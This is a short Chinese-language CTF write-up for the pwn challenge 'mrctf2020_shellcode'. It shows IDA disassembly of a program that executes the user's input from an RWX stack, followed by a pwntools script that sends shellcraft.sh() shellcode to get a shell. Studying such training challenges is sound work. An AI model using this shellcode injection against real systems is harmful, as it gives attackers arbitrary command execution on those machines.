mrctf2020_shellcode
题目链接:mrctf2020_shellcode。
下载附件后,使用 IDA 反汇编,定位到主要函数,如下。
.text:0000555555555155 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000555555555155 public main
.text:0000555555555155 main proc near ; DATA XREF: _start+1D↑o
.text:0000555555555155
.text:0000555555555155 buf = byte ptr -410h
.text:0000555555555155 var_4 = dword ptr -4
.text:0000555555555155
.text:0000555555555155 ; __unwind { // 555555554000
.text:0000555555555155 push rbp
.text:0000555555555156 mov rbp, rsp
.text:0000555555555159 sub rsp, 410h
.text:0000555555555160 mov rax, cs:stdin@@GLIBC_2_2_5
.text:0000555555555167 mov esi, 0 ; buf
.text:000055555555516C mov rdi, rax ; stream
.text:000055555555516F call _setbuf
.text:0000555555555174 mov rax, cs:stdout@@GLIBC_2_2_5
.text:000055555555517B mov esi, 0 ; buf
.text:0000555555555180 mov rdi, rax ; stream
.text:0000555555555183 call _setbuf
.text:0000555555555188 mov rax, cs:stderr@@GLIBC_2_2_5
.text:000055555555518F mov esi, 0 ; buf
.text:0000555555555194 mov rdi, rax ; stream
.text:0000555555555197 call _setbuf
.text:000055555555519C lea rdi, s ; "Show me your magic!"
.text:00005555555551A3 call _puts
.text:00005555555551A8 lea rax, [rbp+buf]
.text:00005555555551AF mov edx, 400h ; nbytes
.text:00005555555551B4 mov rsi, rax ; buf
.text:00005555555551B7 mov edi, 0 ; fd
.text:00005555555551BC mov eax, 0
.text:00005555555551C1 call _read
.text:00005555555551C6 mov [rbp+var_4], eax
.text:00005555555551C9 cmp [rbp+var_4], 0
.text:00005555555551CD jg short loc_5555555551D6
.text:00005555555551CF mov eax, 0
.text:00005555555551D4 jmp short locret_5555555551E4
.text:00005555555551D6 ; ---------------------------------------------------------------------------
.text:00005555555551D6
.text:00005555555551D6 loc_5555555551D6: ; CODE XREF: main+78↑j
.text:00005555555551D6 lea rax, [rbp+buf]
.text:00005555555551DD call rax
.text:00005555555551DF mov eax, 0
.text:00005555555551E4
.text:00005555555551E4 locret_5555555551E4: ; CODE XREF: main+7F↑j
.text:00005555555551E4 leave
.text:00005555555551E5 retn
通过分析,可以发现,栈空间为 RWX 权限,且程序会读取用户的输入,直接当作代码执行。
解题思路:
- 直接输入 ShellCode,即可 GetShell。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
s(asm(shellcraft.sh()))
irt()
pwn()

浙公网安备 33010602011771号